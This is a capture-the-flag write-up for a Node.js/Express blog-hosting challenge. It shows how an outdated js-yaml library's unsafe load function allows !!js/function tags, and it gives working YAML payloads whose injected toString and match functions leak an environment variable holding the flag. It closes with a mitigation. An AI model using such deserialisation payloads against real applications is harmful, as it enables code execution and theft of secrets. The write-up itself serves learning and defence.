YAML is the best javascript object notation. So I made a blog hoster with YAML + JS!
Category: Web
Solver: nh1729
Flag: GPNCTF{yet_ano7hER_misT4ke_Lan6UAGe}
Challenge Overview
The challenge is a small nodejs
project hosting an express
web server. It exposes routes to register users, edit blogs and blog posts associated with them and to read blog posts by name, all stored in-memory.
Each user can have multiple named blogs and each blog has a list of posts, each with a content. The posts can be accessed by the blog name and post index.
User authentication is password-based for each request and each user can edit and list only their own blogs, while unauthenticated users can access them if they know the blog name.
Initially, there is only one user registered: admin
, who does not have a password set and thus cannot be authenticated as. They have one blog whose name is the flag.
The interesting part of the challenge is request parsing: Instead of a usual JSON payload, routes parse request bodies as yaml using yaml.load
from the js-yaml
library.
The most complex route is the one to edit one’s own blogs:
app.post('/edit-blogs', (req, res) => {
console.log(req.body);
if (typeof req.body?.username !== "string" || typeof req.body?.password !== "string" || typeof req.body?.blogs !== "object") {
return res.status(400).send("Invalid input");
}
let user = users[req.body.username];
console.log({user, pw: user.password, sha: sha256(req.body.password)})
if (!user || user.password !== sha256(req.body.password)) return res.status(403).send("Invalid credentials");
for (let blogName in req.body.blogs) {
let taken = false;
for (let username in users) {
if (Object.keys(users[username]?.blogs?.[blogName] || {}).length > 0 && username !== req.body.username) {
taken = true;
}
}
if (taken) continue // user cannot write to this blog
let blog = user.blogs[blogName] ??= {}
let newPosts = req.body.blogs[blogName].posts || [];
for (let post of newPosts) {
if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/)) {
return res.status(400).send("Invalid post slug");
}
}
// set to both ID and slug for posts without slugs
for (let postId in newPosts) {
if (postId === "__proto__") return res.status(400).send("Invalid post slug");
let post = newPosts[postId];
if (typeof post.content !== "string") return res.status(400).send("Invalid post content");
blog[postId] = blog[post.slug] = post.content
}
}
res.json(user);
})
Writeup
Upon installing the dependencies for local testing, we notice that js-yaml
is out of date by one major version, so we checked out the changelog [1].
- Breaking: “unsafe” tags
!!js/function
,!!js/regexp
,!!js/undefined
are moved to js-yaml-js-types package.- Breaking: removed
safe*
functions. Useload
,loadAll
,dump
instead which are all now safe by default.
Okay, load
appears to not be safe in the version used by the challenge. Specifically, there are special tags that create objects of the specific JavaScript types Function
, Regexp
and undefined
.
That function
primitive looked promising, we just needed to have some function called on an object from our request. We would then use that to read and somehow exfiltrate the flag.
Since it is the one with the most logic and output, we opted to use the /edit-posts
route, and the obvious first function that could be called on an input is toString
when an object is coerced to a String
.
Skimming through the code, we found the slug
property promising. It is being coerced by being used as a property name.
blog[postId] = blog[post.slug] = post.content
We quickly built a payload that should return the flag as a post slug.
username: test
password: test
blogs:
x:
posts:
- content: y
slug: { toString: !!js/function '() => process.env.FLAG' }
However, we encountered an error:
TypeError: post.slug.match is not a function
This error originates from the line
if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/))
Easy enough, we can simply add a match
function (the slug should pretend to match the regex)
username: test
password: test
blogs:
x:
posts:
- content: y
slug: { toString: !!js/function '() => process.env.FLAG', match: !!js/function '() => true' }
And we got the flag.
{"password":"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08","blogs":{"x":{"0":"hui","GPNCTF{yet_ano7hER_misT4ke_Lan6UAGe}":"y"}}}
Mitigations
Keep your dependencies up-to-date and use safe*
functions to load untrusted user input.
Other resources
[1] https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md